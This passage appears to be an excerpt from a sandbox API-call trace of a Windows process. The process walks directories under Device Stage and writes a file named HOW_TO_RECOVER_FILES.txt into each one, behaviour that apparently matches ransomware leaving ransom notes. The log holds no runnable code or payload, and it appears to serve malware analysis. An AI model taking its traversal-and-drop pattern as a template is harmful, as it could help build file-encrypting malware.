lpOldMode=0x10fb0b0) returned 1 [0133.333] GetFileType (hFile=0x61c) returned 0x1 [0133.334] WriteFile (in: hFile=0x61c, lpBuffer=0x36ed408*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x10fb208, lpOverlapped=0x0 | out: lpBuffer=0x36ed408*, lpNumberOfBytesWritten=0x10fb208*=0x5d0, lpOverlapped=0x0) returned 1 [0133.335] CloseHandle (hObject=0x61c) returned 1 [0133.335] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0133.335] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x29 [0133.335] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.335] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bc8c7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.335] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0133.335] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379e9659, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0133.336] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0133.336] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 0 [0133.336] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0133.336] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0133.336] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fb1d0) returned 1 [0133.336] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage", nBufferLength=0x105, lpBuffer=0x10fac70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage", lpFilePart=0x0) returned 0x29 [0133.336] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\*", lpFindFileData=0x10faef0 | out: lpFindFileData=0x10faef0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.337] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.337] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Device", cAlternateFileName="")) returned 1 [0133.337] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x379e9659, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x379e9659, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x379e9659, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0133.337] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd555071, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c95299, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Task", cAlternateFileName="")) returned 1 [0133.337] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10faeb0 | out: lpFindFileData=0x10faeb0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0133.337] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb110) returned 1 [0133.337] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fb0d0) returned 1 [0133.338] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0133.338] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device", lpFilePart=0x0) returned 0x30 [0133.338] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3570fd39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.338] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd4bd6f2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3570fd39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.338] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3570fd39, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3570fd39, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3570fd39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0133.338] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1 [0133.339] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0133.339] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 0 [0133.339] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0133.339] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0133.339] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10fa7a0) returned 1 [0133.339] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device", nBufferLength=0x105, lpBuffer=0x10fa240, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device", lpFilePart=0x0) returned 0x30 [0133.339] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\*", lpFindFileData=0x10fa4c0 | out: lpFindFileData=0x10fa4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3570fd39, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3570fd39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.339] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3570fd39, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3570fd39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.340] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3570fd39, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3570fd39, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3570fd39, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0133.340] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{113527a4-45d4-4b6f-b567-97838f1b04b0}", cAlternateFileName="{11352~1")) returned 1 [0133.340] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd554496, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a8653f0, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{8702d817-5aad-4674-9ef3-4d3decd87120}", cAlternateFileName="{8702D~1")) returned 1 [0133.340] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10fa480 | out: lpFindFileData=0x10fa480*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0133.340] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6e0) returned 1 [0133.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10fa6a0) returned 1 [0133.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0133.340] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpFilePart=0x0) returned 0x57 [0133.341] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3511a241, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.341] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbd55373b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x3511a241, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.341] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0133.341] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0133.341] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1 [0133.341] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3511a241, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3511a241, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3511a241, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0133.341] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62088d76, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62088d76, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62088d76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x70c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="overlay.png", cAlternateFileName="")) returned 1 [0133.342] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x99d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="superbar.png", cAlternateFileName="")) returned 1 [0133.342] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0133.342] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0133.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9cb0) returned 1 [0133.342] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x10f9c70) returned 1 [0133.342] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x10f9d70) returned 1 [0133.342] GetFullPathNameW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", nBufferLength=0x105, lpBuffer=0x10f9810, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}", lpFilePart=0x0) returned 0x57 [0133.342] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\*", lpFindFileData=0x10f9a90 | out: lpFindFileData=0x10f9a90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3511a241, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3511a241, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0133.342] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c95299, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x3511a241, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3511a241, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0133.343] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1fad1, dwReserved0=0x0, dwReserved1=0x0, cFileName="background.png", cAlternateFileName="")) returned 1 [0133.343] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb61, dwReserved0=0x0, dwReserved1=0x0, cFileName="behavior.xml", cAlternateFileName="")) returned 1 [0133.343] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62062b13, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x62062b13, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x62062b13, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadc8, dwReserved0=0x0, dwReserved1=0x0, cFileName="device.png", cAlternateFileName="")) returned 1 [0133.343] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: lpFindFileData=0x10f9a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3511a241, ftCreationTime.dwHighDateTime=0x1d5c5e4, ftLastAccessTime.dwLowDateTime=0x3511a241, ftLastAccessTime.dwHighDateTime=0x1d5c5e4, ftLastWriteTime.dwLowDateTime=0x3511a241, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x5d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW_TO_RECOVER_FILES.txt", cAlternateFileName="HOW_TO~1.TXT")) returned 1 [0133.343] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x10f9a50 | out: 